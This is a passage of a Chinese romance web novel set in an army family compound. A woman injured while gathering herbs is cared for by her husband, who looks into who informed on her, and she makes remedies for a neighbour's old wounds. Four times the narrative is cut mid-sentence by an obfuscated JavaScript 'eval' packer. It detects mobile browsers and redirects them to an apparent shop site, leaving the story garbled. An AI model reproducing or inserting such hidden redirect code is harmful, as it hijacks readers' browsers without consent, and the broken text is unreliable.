“下次别这样了,你在这边人生地不熟,你去哪里跟我说一声,假如我没空和你一起,也可以叫上家属院的嫂子们一起,她们偶尔也是会一起上山的。” “好,我知道了。” 赵书宜有苦说不出,看来兔兔只能她自己吃独食了。 见她垂着头,顾岩哪里能真的怪她? “我只是跟你说说,没有怪你的意思,是我的原因,答应了和你一起,却一直没抽出时间。” 赵书宜诧异抬头,“这怎么能怪你,当然是工作要紧,更何况是你们那么重要的工作,你没错,不用安慰我,我以后会做好,不会给你拖后腿的。” 这事真半点怪不了顾岩。 都是自己的原因,他还救了自己。 如果没有他,赵书宜想都不敢想。 没想到他还把责任往自己身上揽。 结果就听顾岩道:“是我的错,蔡小月很有可能是因为我才找你麻烦的,你能再给我说说今天的情况吗,从你出门一直到我来找你。” 他不说赵书宜还没反应过来。 确实,这得怪他。 招蜂引蝶,哼哼。 当然,赵书宜只能在心里哼哼,她再傻也知道这事怪不得他。 “我是昨天打算上山的。”其实早就打算了,但不能那样说。 “昨天跟王军医说了一声,也说了今天要请假的事,隔壁夏连长也说了,其他人都不知道,然后走的时候跟小亮提了。” 赵书宜尽量把事情说得详细。 “我出去时没避着人,但时间比较早也没碰到什么人,碰到了前面何营长家的嫂子,然后门口的卫兵,出去后可能看到我的人就多了,但我都没什么印象。” “后面到了乡下……” 赵书宜突然停住。 “到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750311|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乡下怎么了,有什么不对吗?”顾岩连忙问。 “也没什么,我就是想到我在路上遇到了一个年轻男人,我看着那男人有点熟悉,可能在家属院见到过,但是我想不起来了。” 赵书宜才来家属院不久,前面一段时间都在忙,也很少出门,她见过的人也不多,熟悉的人就更少了。 “熟悉?什么样子还记得吗?” “她坐在自行车上,我有点看不出他的身高,但是他很瘦,黑黑的,脸部骨头比较突出,有点像猴子,尖嘴猴腮的,穿着一件很普通的蓝色褂子,其他的……我想不起来了。” “再见到的话,你还能认出来吗?” “可以。” 赵书宜觉得自己的记性很好。 虽然这个眼熟的人她记不起来了,但她不觉得是自己记忆的原因,一定是之前对方不是这副打扮。 顾岩若有所思,“你继续往下说。” 然后赵书宜就进山了,一路上没碰到人,直到蔡小月他们出现。 顾岩听完微微颔首。 “你还记得你遇到的那个骑自行车的人的地点和时间吗,遇到他和遇到蔡小月他们时间相差多久?” 听到顾岩的话,赵书宜也反应过来。 “你是怀疑那个眼熟的人就是通风报信的人?” 顾岩点头,“我觉得我应该知道是谁,这事情你交给我,你先好好休息,把脚养好,别留下病根。” “好。辛苦你了,顾岩,你人真好。” 赵书宜不知道怎么表达自己的感谢,她是真的觉得对方真的很好。 原身四月份的时候为了不嫁给他,对他的态度其实挺差的,可他不计前嫌,什么都为自己安排好,在家也愿意干活。 真的很好。 顾岩突然被夸也有点不知所措。 他默了默才说:“你是我媳妇,这些都是我应该做的,水应该快热了,需要我帮你拿衣服吗?” “不用不用,我自己去。” 赵书宜哪好意思这种事还麻烦他? “你慢点。” “好。” 赵书宜很快找好衣服,顾岩都已经帮她把水准备好了。 “你小心一点,脚上最好先别沾水。” 见赵书宜愣愣的,他解释道:“扭伤了最开始最好是冰敷,等过了一天才能热敷,你也不用太注意,别一直泡水里就行。” “我知道,你忘了,我会医术的。” 赵书宜发愣只是觉得有点麻烦,在琢磨该怎么做才能不弄湿,她不想又被揉药酒,至少拖一会算一会吧。 顾岩也反应过来自己可能有点关公面前耍大刀,耳朵悄悄红了。 赵书宜进了卫生间没看到。 顾岩在堂屋坐着,担心赵书宜有什么需要的找不到人。 听到里面的水声,他脸上也跟着有些发热。 赵书宜没听到顾岩的声音,猜到对方可能还在外面,她没敢进空间,老实脱了衣服擦洗。 顾岩很贴心地给她准备了两条凳子,只要把脚搁在一条凳子上就可以不弄湿了,不过身上有些擦伤碰水还真有些疼,而且她还要擦药,于是弄了许久。 “你洗好了吗,需不需要我做什么?” 顾岩在外面许久没有听到声音,没忍住问了一句。 “我在抹药,那个你……” 赵书宜很犹豫,但她确定自己肩膀上有伤,可是自己没办法上药。 两个人是夫妻,上个药应该没什么吧。 就算不是夫妻,帮帮忙也可以吧。 但对一个男人袒胸露背她还是有点做不出来。 纠结了一下,赵书宜还是大着胆子问:“你能帮我给肩膀上上一下药吗?” 44. 有点埋怨自己的正直 顾岩打开门,昏暗的屋子里亮着灯,但依旧不怎么明亮,不大的门口透进来一些光亮,让顾岩看到了赵书宜的样子。 湿发被毛巾裹在头顶露出细长白皙的脖颈,她身上穿着一件白色衬衣,下身黑色休闲裤,明明依旧是平常的打扮,却无端让顾岩身体发热,心跳加速。 他觉得肯定是没开窗,这屋子里被热气熏得太热了。 心里乱七八糟,他表面不动声色走上前去。 “我看看,哪里需要上药?” 赵书宜刻意敞开了点领口,后面的衣摆往后一拉,背就露了一小半出来。 顾岩下意识退了一步,看到她肩胛骨上的擦伤又拧紧了眉头。 “看到了吗,能上药吗?” 顾岩喉头一动,声音也有点哑,“可能上不完,还得往下一点点,背上只有这一处吗?” 赵书宜露出小半个背,凉飕飕的,但她知道顾岩在后面,脸也已经开始发烫了。 她有些没过脑子说:“我也不知道。” “那……你要不要去找夏连长帮你看看。” 赵书宜:“……” 她怎么没想到呢? 这样的话自己不尴尬,还能让夏连长知道自己受伤了。 赵书宜都顾不得去思考顾岩刚才的话了。 她衣服一拢,开始扣扣子。 “我都忘了,我直接让她给我上药吧,麻烦你了。” 她说着拿过刚刚递给顾岩的药膏,“我现在就过去,你帮我把桶拿出去一下。” “好。” 顾岩都不知道自己是怎么动作的,等把卫生间都收拾好,他这才后知后觉反应过来自己做了什么。 他满脑子都是那一抹白色的身影和脖子。 有那么一刻,他有点埋怨自己的正直,但转念他就想通了。 在赵书宜没答应和他正式成为夫妻之前,他的做法是对的。 顾岩没跟着一起过去,等蔡明亮自己回来他才想起隔壁还有这个小萝卜头。 隔壁。 赵书宜把自己的后背漏给夏木兰,上面的擦伤把对方吓了一跳。 “你这是怎么弄的,怎么这么多伤?” 脸上也有擦伤,脚还崴了。 赵书宜听到关心,心里把握又多了几分。 “我挖人参,不小心滚到山坡下去了,但是我挖到了一株品相很好的人参。” “嫂子,我会做一些通经活络的泡脚药包和祛疤膏,我想做一些,你能……” 她感觉背后人的动作顿住,她硬着头皮往下说:“你能帮我试试药吗,我知道这对于你来说很麻烦,但是我在这边人生地不熟,没人可以帮我试药……” 等了一会儿对方都没有开口,赵书宜的心缓缓下沉,她有些失望。 还是不行。 看来得再找另外的办法。 “如果你不愿意也没关系,我……” “可以。” “真的吗?”赵书宜激动转身,背后棉签直接戳在她的伤口上。 “啊,好痛!” “没事吧?”夏木兰刚刚正在出神,没注意到她突然动作,棉签就那样突然戳了上去,她觉得十分抱歉。 “对不起,我不是故意的。” 赵书宜眼泪汪汪,不是想哭,实在是太疼了,生理性眼泪完全控制不住,但好在对方是答应了。 “没事没事,不是你的错,是我自己太激动了。” 夏木兰看着她激动的表情敛起嘴角的笑容,说:“但是我伤得重,你的药膏未必能在我身上起什么作用。” 夏木兰不是蠢的,她怎么看不出来赵书宜是专门为了自己做的什么药膏和泡脚的药包。 她自己身体什么情况自己清楚。 连军医院那些大夫都束手无策,赵书宜一个小姑娘能有什么办法? 但她都为了自己滚下山崖了,自己能不答应吗? 自从腿受伤,脸上身上留疤,所有人看到她都不可避免露出惋惜怜悯的表情,她讨厌别人用那样的眼神看她。 她觉得赵书宜肯定也是可怜自己的,但赵书宜没表现出来,还想方设法避开自己的痛处,和那个若无其事的人一样。 她对他们始终狠不下心来。 但她对好起来早已经不报希望,就怕赵书宜失望。 谁知赵书宜完全没在意,笑眯眯道:“其实我也没想一定有用,但是做研究不就是这样的吗,可能坚持几年几十年只能得到一点点的进步,就像陶团长研究武器,我们的武器不是凭空变出来的,也是一点点一点点地改进的。” “他们不会放弃,我也不会放弃,就是要麻烦夏连长你帮我试药了,你放心,虽然不一定有用,但我选的药材都是纯天然的,也没有相克的物质,肯定不会有害。” “而且不管身体怎么样,泡脚药包对身体都是有好处的,不过泡脚的时间得按我说的来,咱们要科学泡脚。” 担心她会有想法,赵书宜又补充道:“陶团长也可以泡,多一个样本,能解疲乏,晚点我跟他说,我还想要一些详细反馈,不知道行不行。” “可以啊。” 都答应泡脚了,夏木兰觉得其他的也没什么不可答应的了。 没想到这让赵书宜激动不已,她整个人几乎跳起来,结果差点伤到自己扭到的脚,又是一阵龇牙咧嘴。 “你小心一点。” 赵书宜想哭,“我知道了,我得回去了,今天下午我们吃蘑菇,等我啊。” “你方不方便,不方便我让陶源去食堂打饭。” “没事,顾岩在呢,你们等着吃就好。” 听到这话夏木兰没多说,只是望着她离开的方向沉默了许久。 赵书宜得了准话整个人都激动不行,她回去时脸上还带着乐呵呵的笑,结果就看到顾岩正在帮她洗衣服,他手里拿着的是她的内裤。 赵书宜一下进也不是退也不是,脸一下涨红了。 顾岩听到她的声音抬头,脸也有点红,他假装什么事都没发生,赶忙低下头去。 “我想着你不太方便我就帮你把衣服洗了,那件衬衣破得有点厉害,别穿了,晚点我给你重新做一件。” 赵书宜动动嘴唇,想说自己的衣服自己可以洗,但又担心他会觉得自己怪他多事,到底没说,只说了句多谢。 “不客气。” 好在夏天衣服本就不多,他三两下就搓好了。 赵书宜默默进厨房准备煮饭,她都不敢去看晾在外面的衣服。 顾岩很快也跟着进了厨房。 “你坐着休息,今天的饭我来做,你要是不放心,给我讲一下就好了。” 赵书宜同意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755177|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那我帮你烧火,其实我的方法很简单的,你本来做菜就不赖,肯定能做得很好吃。” 顾岩不知道她说的是真话,还是宽慰自己,抬眸看了她一眼。 两人视线相撞,又同时移开,又都在心中懊恼自己干什么反应那么大。 顾岩:“那我先做什么?” “先准备鸡肉吧,你按平常的切就行,主要是要腌制的时候有点小技巧……” 就这样,两个人一个人动口一个人动手。 水缸里的水已经被赵书宜加了一些灵泉水,香味自然比从前顾岩做得更加浓郁。 顾岩自己很满意,但他让赵书宜尝的时候还是有些忐忑。 这可是她辛辛苦苦采回来的菌子。 见赵书宜吃下他就眼巴巴望着赵书宜。 赵书宜细细品尝了一下,才笑着夹起一块鸡肉到顾岩嘴边。 “我尝着觉得很不错,你也尝尝。” 顾岩看着她用过的筷子愣了一下。 赵书宜也反应过来,“我刚刚没碰到的……” 话还没说完,顾岩连忙咬下鸡肉,“我不是在意这个,味道不错,有进步了,你教得好。” “你嘴还挺甜。” 他表面看着凶悍,但实则真挺会说话,至少赵书宜是这样认为的。 顾岩被夸,耳朵又悄悄开始热了。 “我平常不这样……”他想说自己不会对别的姑娘说这样好听的话。 但这样解释似乎太刻意了,他话就没说完。 可是这样说一半藏一半更让人多想了,赵书宜不好意思,只能转移话题。 “你赶紧给夏连长他们送饭去吧,送了我们也好赶紧吃饭。” “哦,我马上去,你别端,担心烫,我马上回来。” 顾岩回来时,赵书宜还是把饭菜都准备好了,她是脚崴了,不是半身不遂了,当然不可能什么都让顾岩做。 顾岩也没多说,只是多看了她两眼。 饭桌上赵书宜这才说起夏木兰愿意用她的药膏的事情。 “我还知道一个泡脚的药方,顺便提了,夏连长也同意了,我觉得夏连长完全不像大家说的那么难沟通。” 顾岩拿筷子的手一顿。 他下意识说:“是你对她比较真诚。” 每个人的情绪都是能感知的,是真心还是假意,夏连长能感觉得出来。 不是说没有人真心关心夏连长,但据顾岩所知,很多人去劝慰她都是站在外人的角度事不关己地劝她该如何如何做。 更有许多人只为陶团长着想,希望她能为了陶团长省心一点。 只有赵书宜,她做的每件事情都是站在夏连长的角度,说的每句话都会照顾对方的心情。 她真的很会照顾人。 但他不希望她太累。 “她的伤恐怕没那么容易治好,你别累着自己。” “不会,我的药方都很简单的,需要的是她的坚持。夏连长看着性子硬,但从她的那些画就能看得出来,她是个内心很柔软的人,我想帮她。” 顾岩心中动容,说:“我支持你,有什么需要我帮忙的就告诉我。” 看着她笑靥如花的样子,顾岩有些恍惚。 他感觉自己已经有点想不起上半年见到过的赵书宜了。 她们好像两个人。 45. 都怪你 赵书宜今天是真吓得不轻,爬山也是体力活,又困又累的情况下吃过饭她的眼皮就开始打架。 平常蔡明亮晚上洗漱的东西大多是她准备的,因为顾岩时常不能准时回家,但今天她脚疼,顾岩就没有让她做,只让她在床上躺着。 结果等小孩洗干净回屋,赵书宜已经躺在床上睡着了。 他压低了声音对蔡明亮道:“婶婶睡着了,小亮能不能自己睡觉?” 平常赵书宜会给孩子讲一些故事,那些天马行空的有趣的故事顾岩可讲不来。 而且他不想吵着赵书宜。 蔡明亮一向懂事,听到顾岩压低声音说话,他连忙竖起食指放在嘴巴前面表示噤声。 顾岩摸摸他的头,“乖,闭上眼睛睡吧。” 孩子本来就觉多,他一闭眼很快呼吸就变得平稳起来。 又看了看两人,顾岩起身出了房间。 赵书宜睡得香,全然不知顾岩的离开。 但她这一觉睡得并不踏实,睡下没多久她就开始做梦,她梦到自己回到了前世。 早上醒得迟了没做早饭,她妈就在客厅里摔摔打打。 “真是生了个讨债鬼,要你有什么用,这点小事都做不好,还不是生下来就把你按在尿桶里溺死!” “我们家就这点家底,全是你弟弟的,你可以找男人依靠,你弟弟可不行。” “我们呀,现在就指着你能嫁给一个有钱的丈夫,到时候也好帮衬帮衬你弟弟。” “书宜,就靠你了。” 这些话赵书宜从小听到大,明明都已经习惯了,可还是觉得心底发凉。 渐渐的,她已经听不清她妈在说什么了。 但她仍旧感觉对方的话语像是利剑一般刺进自己的胸膛,让自己喘不过气来。 紧接着,她妈的那泡面头竟惊奇地变成了一条条吐着信子的蛇,靠赵书宜越来越近越来越近。 赵书宜本能地感知到危险,可当她想要退开时,却根本动弹不得。 就在赵书宜以为自己快要死定了的时候,她听见有人在轻声唤她。 “赵书宜,醒醒,书宜……” 那声音清朗温润,有点熟悉,但赵书宜感觉自己好像没听过。 “书宜……” “顾岩。” 赵书宜不知道自己为什么叫出这么一个陌生的声音。 她面前可怕的毒蛇不见了,她妈咄咄逼人的嘴脸也不见了。 赵书宜又重新陷入混沌。 “赵书宜,醒醒……” 她手里传来温暖的触感,赵书宜感觉自己身体开始回温,她缓缓睁眼,看到了面前的人。 “你醒了?” 顾岩声音前所未有的轻柔。 “没事,只是梦,什么事也没有。” 赵书宜眨了眨眼,捏了一下手中握着自己的手掌。 是真的,有温度的,顾岩的手。 “顾岩……” “别怕,你流了汗,我给你擦擦,免得一会儿感冒。” 顾岩刚才回来就看到赵书宜十分痛苦在梦中挣扎。 他只当她是被今天的事情吓到了,心里一阵凉意。 蔡家人如此行事,他不可能放过。 哪怕他们是烈士的家属。 正因为他们那样的身份,他们更应该严于律己,而不是借着英雄的势为非作歹。 只是没想到倒是连累了赵书宜。 他看着她脆弱的样子,心里生起酥酥麻麻的痛意。 “顾岩……” “嗯,我在。” “我做噩梦了。”赵书宜声音软得不行。 “没事,只是梦而已,有我在不会有事的。” 赵书宜听着他的声音,还没能完全缓过神来。 但他的话无疑是令人安心的。 赵书宜便可着劲儿地撒娇。 “那你先上床,我们说说话,我睡不着了。别关灯。” 顾岩完全没有犹豫,也并没有别的想法,她依赖他他就给她依赖。 躺在她和小亮的中间,顾岩依旧拉着赵书宜的手,两个人挨得很近,却没有旖旎的心思。 “你想说什么,说吧。” 赵书宜其实也不知道想说什么,脑子还有点糊涂。 想了想这些天发生的事情,她忍不住跟顾岩诉说自己的情绪。 “这个世界的坏蛋好多呀。” 顾岩有些心疼地看了她一眼,“是,以后我们小心,我不会让你再受伤的,等你脚好了我每天叫你起床锻炼。” 从前赵书宜提出这件事情的时候顾岩并不是很重视。 他觉得赵书宜只是太瘦了一点,身体并没有什么大碍,多吃点肯定就能好起来。 所以每次看到她睡得很香,他都不忍心叫醒她。 甚至看到赵书宜坚持每天练习,他都很意外。 现在他好像有点明白了赵书宜的用意。 不管是不是自己想的那样,她有自我保护的能力总是好的,顾岩觉得自己应该配合她。 赵书宜也想了这事。 之前不仅是顾岩没重视,她自己也没重视。 顾岩纵着她,她就顺坡下驴地偷懒,这肯定不行。 今天她但凡战斗力能强一点也不至于看到男人就跑得那么狼狈。 “这是你说的,都怪你,你平常太惯着我了。” 她说这话太软,顾岩心里也软得一塌糊涂。 他想她肯定害怕极了,可是今天回来还忍不住去操心隔壁家的事,她怎么那么好? “都是我的错,我以后一定监督你,跟你一起锻炼,至少……” 他想说再碰到今天事又把话给咽了回去,他只希望赵书宜再也不要碰到今天这样的事了。 没想到他还没说,赵书宜先补充了他的话。 “至少再碰到坏人我要把他们打得满地找牙!” 闻言顾岩没忍住,抬手轻轻在她鼻尖刮了一下。 “你干嘛?” 赵书宜这一声没收住,靠墙睡着的小亮呓语两句,赵书宜连忙缩了缩脖子不敢再发出什么声音。 顾岩看她那么多小动作,哪里能忍得住自己的情感? 可是他又不想现在乘虚而入。 于是他缓缓凑到赵书宜的耳边,两人之间仍旧隔着距离。 他说:“你好可爱。” 赵书宜一下脸爆红。 她刚刚差点吵醒孩子,自己被自己吓得清醒了。 现在听了顾岩的这句话她全身上下的器官都醒了。 他……他怎么突然说这样的话? “我……我就说你很会说话吧。” 赵书宜的声音细如蚊蝇,她实在是不好意思。 顾岩知道她不好意思,他自己也没好到哪去,只低低又道:“能睡着吗,能睡着就睡吧,休息好。” “嗯,那我睡了,晚安。” 赵书宜巴不得逃跑,直接闭眼意念进入了空间。 这在顾岩看来她就是一秒入睡,他嘴角不自觉噙起浅笑。 真的很可爱啊。 两人挨得近,他到底还是没敢把自己的手搭上赵书宜的腰,望着她恬静的睡颜看了一会儿,他也闭上了眼。 第二天,赵书宜依旧没有被叫醒服务,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759446|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来已经天光大亮。 这次顾岩更是夸张地把早餐放到了床前,还留了一张小纸条。 “早饭都在这里,不舒服的话不用起来,我把小亮送到隔壁去了,中午我回来做饭。顾岩。” 赵书宜看了两遍,然后仍旧把小纸条放到了空间。 她当然不可能真在床上吃早饭,尤其是没有洗漱的情况下。 赵书宜慢慢悠悠坐起身来端着早饭出了房间。 她这才发现外面居然是阴天。 来了云省这些天了,她还是第一次遇见阴天,雨更是一滴没见过,都在晚上下。 晚上下雨,第二天就是艳阳高照,这样的气候最适合山林里菌子的生长。 看到阴天赵书宜还有点稀奇,但她也没稀奇太久便继续做自己的事情了。 天要下雨娘要嫁人,她可管不着。 洗漱后吃过早饭赵书宜便开始捣鼓她想做的药膏。 泡脚的草药她都已经准备好了,只需要加上人参就够了。 用人参泡脚,她也是够奢侈的,但是话都放出去了,那就必须加。 她的方法也很简单,就是将一些适合泡脚的草药碾成粉末然后加入灵泉水制作成膏状,然后再将其封在小布袋里。 到时候加上热水一冲,这些膏状物就会融化,药性也能激发出来。 小布袋跟沥豆浆的棉布是差不多的,这样也不会有过多的残渣。 而她自己制作的所谓药膏其实也就是灵泉水更多一点的泡脚包。 赵书宜不知道哪种效果好,所以她只能用各种方法争取让夏木兰吸收更多的灵泉水。 但是这个过程必须得长久一点。 她知道灵泉水的厉害,如果是直接让夏木兰用灵泉水泡脚,对方脚上的伤疤突然一下好了,那就太可怕了。 顾岩今天在办公室心里一直念着家里,也幸亏是最近的事情都忙过了,要不然他这工作状态肯定不行。 大家都看出来了,也都听说了昨天赵书宜上山摔下山崖的事,也都不来打趣他了。 等到中午顾岩蹭地第一个往家属院跑,大家这才面面相觑。 这顾副团长,怕是真栽了。 顾岩当然知道这些家伙看自己笑话,但他可不在意。 自己的媳妇自己心疼。 结果刚出办公楼,何旭来了。 他停住脚步,面色凝重问:“是有什么信了?” “是,就是吴西那小子,他昨天中午的时候回家了一趟,身上穿的就是一件蓝色褂子,而且我翻了他的请假记录,在你还没销假的时候他也请过假,他平常很少请假的。” 顾岩表情越发冰冷,“蔡家现在什么情况,查了吗?” “查了,暂时没发现什么不妥,蔡大昨天急匆匆去他媳妇家了,之前他们吵得很凶,据说是要离了,昨天又突然又要和好。” 顾岩闻言沉默了一下。 何旭在一旁等着指示。 其实他也不怎么喜欢蔡家那小丫头,看起来就鬼精鬼精的,而且什么事都来麻烦他家副团,还几次三番对他甩脸色。 可以说是在他家副团面前一副面孔在自己面前又一副面孔。 他就没见过那么善变的人。 但是何旭怎么也没想到那小丫头能有那么大的胆子,居然敢害嫂子,他也支持自家副团好好收拾他们一顿。 顾岩也没思考太久。 “你去查一查他们村最近几年生病死亡或者是被迫嫁人这些事情,尤其跟蔡小月近的,有过联系的……小姑娘。” 何旭怔了怔,像是受到了很大的冲击。 “我这就去。” 46. 蔡小月跑不了 今天顾岩买了豆腐,赵书宜决定做一个豆腐煲。 另外还有茄子可以做个肉沫茄子。 刚把准备工作做好,顾岩就回来了。 “不是让你好好休息等我来吗,怎么自己动手了?” 顾岩上前就把赵书宜手里的锅铲夺过放到一边,然后把她按到了小马扎上。 “扭到脚要好好休息的,要不然以后可能会经常崴脚。” 赵书宜摸摸鼻子。 他是不是忘了自己是个大夫了? 昨晚半夜发生的事赵书宜还记得很清楚。 她都不知道自己当时是怎么想的,就好像魔怔了似的,居然对顾岩撒娇。 但顾岩更离谱,居然还夸她可爱。 只是想到昨晚赵书宜耳根就悄悄发红了。 好像有什么东西不一样了。 见她一直闷闷的没开口,顾岩连忙解释,“我不是怪你的意思,我只是希望你能快点好起来。” “我知道的,你是关心我。” 听到这话,顾岩也有点不自在,他穿好围裙,手指蜷缩了一下缓解尴尬,他转移话题,“怎么做,你想,你教我。” 听到他有点语无伦次,赵书宜默默勾了勾唇,说:“先煎豆腐,我烧小火,你煎到豆腐两面金黄就捞起来,油不用太多,不粘锅就行。” “好。”顾岩二话不说就开始按照赵书宜所说的做菜步骤开始动作,看着真是有模有样的。 如果不看他的那张脸的话就会觉得他是个适合颠勺的大厨。 但是只看他那张脸就会觉得他应该是一个坐办公室整天处理文件的干部。 明明是风马牛不相及的两个特点,安在同一具身体上却一点也不违和,甚至称得上是赏心悦目。 赵书宜一直盯着,不由得看得有些愣神。 顾岩本就关注她,怎么会注意不到她的视线? 他觉得自己自从和赵书宜认识定力就越来越差了。 从前他是个最会隐藏情绪的人,这有助于他管理手下应对敌人,可在赵书宜面前他的有些本事会自动无效。 很奇怪,可顾岩不反感。 他不算个聪明人,却也不傻,他知道自己这是对赵书宜上心了。 所以赵书宜的每个动作和神情他都格外关注。 赵书宜可不知道他的想法。 她已经注意到了对方渐渐变红的耳朵,她很好奇地问:“是很热吗,你的耳朵好红。” 顾岩手里的锅铲差点没拿稳。 “没……有点吧,做完饭歇会儿就好了。” 赵书宜没有怀疑。 “你坚持一下,夏天做饭就是热。” 虽然她觉得还好,她耐热。 见她没再关注自己耳朵,顾岩觉得自己耳朵更烫了。 因为这事,这顿饭他都做得心不在焉的。 好在有赵书宜一个步骤一个步骤地教,倒也做得顺利,闻起来也很香。 尝了尝,赵书宜冲他竖起大拇指。 “很不错,味道很香,以后都可以你做了,我能躺平了。” 顾岩还是第一次听到躺平这样的说法,觉得好笑,但又十分同意。 “以后你不想做都可以让我来,我愿意做饭的。” “好啊。” 赵书宜一点也不客气。 反正顾岩忙,自己能做饭的时间也不少。 他能做,两个人的厨艺都练出来,以后日子也能过得更有滋味一点。 顾岩去送了饭后把蔡明亮带了回来。 一见到赵书宜蔡明亮就跑了过来。 “婶婶,你还疼吗?” 闻言顾岩也看了过去。 赵书宜面对关心,心里总是很暖,不管对象是谁。 她不自觉柔了神色。 “婶婶不疼,今天小亮在夏婶婶家乖吗?” “乖,夏婶婶给我讲了故事,很好听。” 赵书宜扬了扬眉,她没听过夏连长给孩子讲故事。 “是什么故事,能分享给我和顾叔叔听吗?” 蔡明亮并没有在意,他只是对故事表现得很感兴趣。 “是小老鼠参军打仗的故事,小老鼠家里没钱,爸爸妈妈喜欢男孩不喜欢女孩,小老鼠就被赶出了家门。”】 蔡明亮一直讲一直讲饭都顾不上吃。 “小老鼠上战场受了很重的伤,它以为自己再也无法恢复了,但是后来它碰到了一个很厉害的神医,结果它的病被治好了,它又重新上了战场。” 听到这里赵书宜和顾岩对视一眼,两人都明白了对方眼里的意思。 虽然不知道夏连长的真实身世,但这个小老鼠很像是在说她自己。 她还是希望自己的腿被治好,还是希望重上战场的吧。 赵书宜心情变得沉重起来。 感觉自己现在做的这一切更像是小打小闹,不知道对夏连长到底是不是真的有用。 她希望真能治好对方。 但赵书宜心里其实一直有顾虑,如果真的治好了对方,自己的能力要怎么解释呢? 看来她得更努力一点。 顾岩见她锁着眉,给她夹了一块豆腐。 “先好好吃饭。” 然后又给小亮夹了一块豆腐,“先吃饭,吃饱再说故事。” 蔡明亮哦了一声,对着自己的嘴拉了一个拉拉链的动作,这动作还是跟赵书宜学的,一下子就把赵书宜给逗笑了。 “真是个聪明的小孩。” 说到这个她突然想到刚才蔡明亮讲的故事,她一脸惊奇,“顾岩,我发现小亮好聪明,我们给他讲什么他好像听一遍就能记下来。” 顾岩点点头,“他是比较聪明,以后成绩肯定很好。” 小孩被夸赞都是会害羞的,即便平常看起来没有太多情绪的蔡明亮。 赵书宜连忙给他夹了一块豆腐。 “小亮真厉害,多吃点,长高高,以后更聪明。” 这孩子之前的日子过得不好,看着一直很瘦,最近养回来些,但状态也算不得好,赵书宜希望他能更好。 说起来,赵书宜觉得距离夏连长同意收养孩子的时候快到了。 如果不是很喜欢这孩子,她怎么会给孩子讲那样的故事。 可…… 万一夏连长的腿真的好起来,到时候他们还能收养他吗? 赵书宜心里藏不住事,有了这想法她就忍不住,赶在顾岩出门之前她特意避着蔡明亮提了这个问题。 “陶团长是个很负责任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765408|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,夏连长也是,所以你不用太担心这个问题,而且……夏连长的情况可能很难好起来了。” 赵书宜知道大家都是这么想的,她也没有多说,她现在要是说自己能把人治好也不现实。 “我也只是突然想到了,你不用在意,快去上班吧。” 顾岩笑了笑,“别多想,我先走了,好好休息,晚饭等我回来做,我会早点回来。” “嗯。” 顾岩离开,赵书宜真没多想。 想也没用,走一步算一步吧。 就像是顾岩一开始说的,他答应了孩子父亲,肯定就会一直照应他的。 他是个很有责任心的人,肯定会让孩子过得好。 当然他也有自己的底线,就像蔡小月那样,他肯定也不会一直纵容。 想到这里,赵书宜才拍了一下自己脑门,她都忘了这事了。 不过这事也不是很着急。 蔡小月跑不了。 顾岩如果不帮她报仇,那等她好了她就自己去。 在山上她做不了什么,晚上偷偷利用空间行动她还是敢的。 当然,顾岩能帮帮她那就再好不过了。 她承认,自己还是有那么一点点害怕的,但只有一点点。 胡思乱想着赵书宜也困了,她和孩子一起睡了个午觉,醒来后两人一起去了隔壁。 赵书宜带上了自己制作好的药膏。 “嫂子我来了。” 见到她夏木兰有些惊讶。 “你来了,脚有影响吗,我这边没事的,你好好休息。” “没事,我就是崴了一下,也不远,两步就过来了,您看我给您带什么过来了?” 赵书宜把药膏和泡脚包拿出来。 “这个我其实做好久了,就差点人参,都齐了,迫不及待拿来给你用。” 看到药,夏木兰面色明显有些抗拒,但她好似在极力压抑着,抿了抿唇,她说:“多谢你了,我肯定会用的。” 赵书宜看她反应心里有些忐忑,但是还是按照自己的计划劝说道:“这个肯定有效果,我很有信心。你看我的手,你能想象我这里之前受过伤吗?” 赵书宜轻轻挽了一下袖子,露出自己光洁的手腕。 “之前在京市的时候我这里擦伤了,我每天涂这个药,大概半个月吧,就好了,不过我的伤不严重,但之前的配方里还没加人参,我觉得加了人参效果肯定更好。” 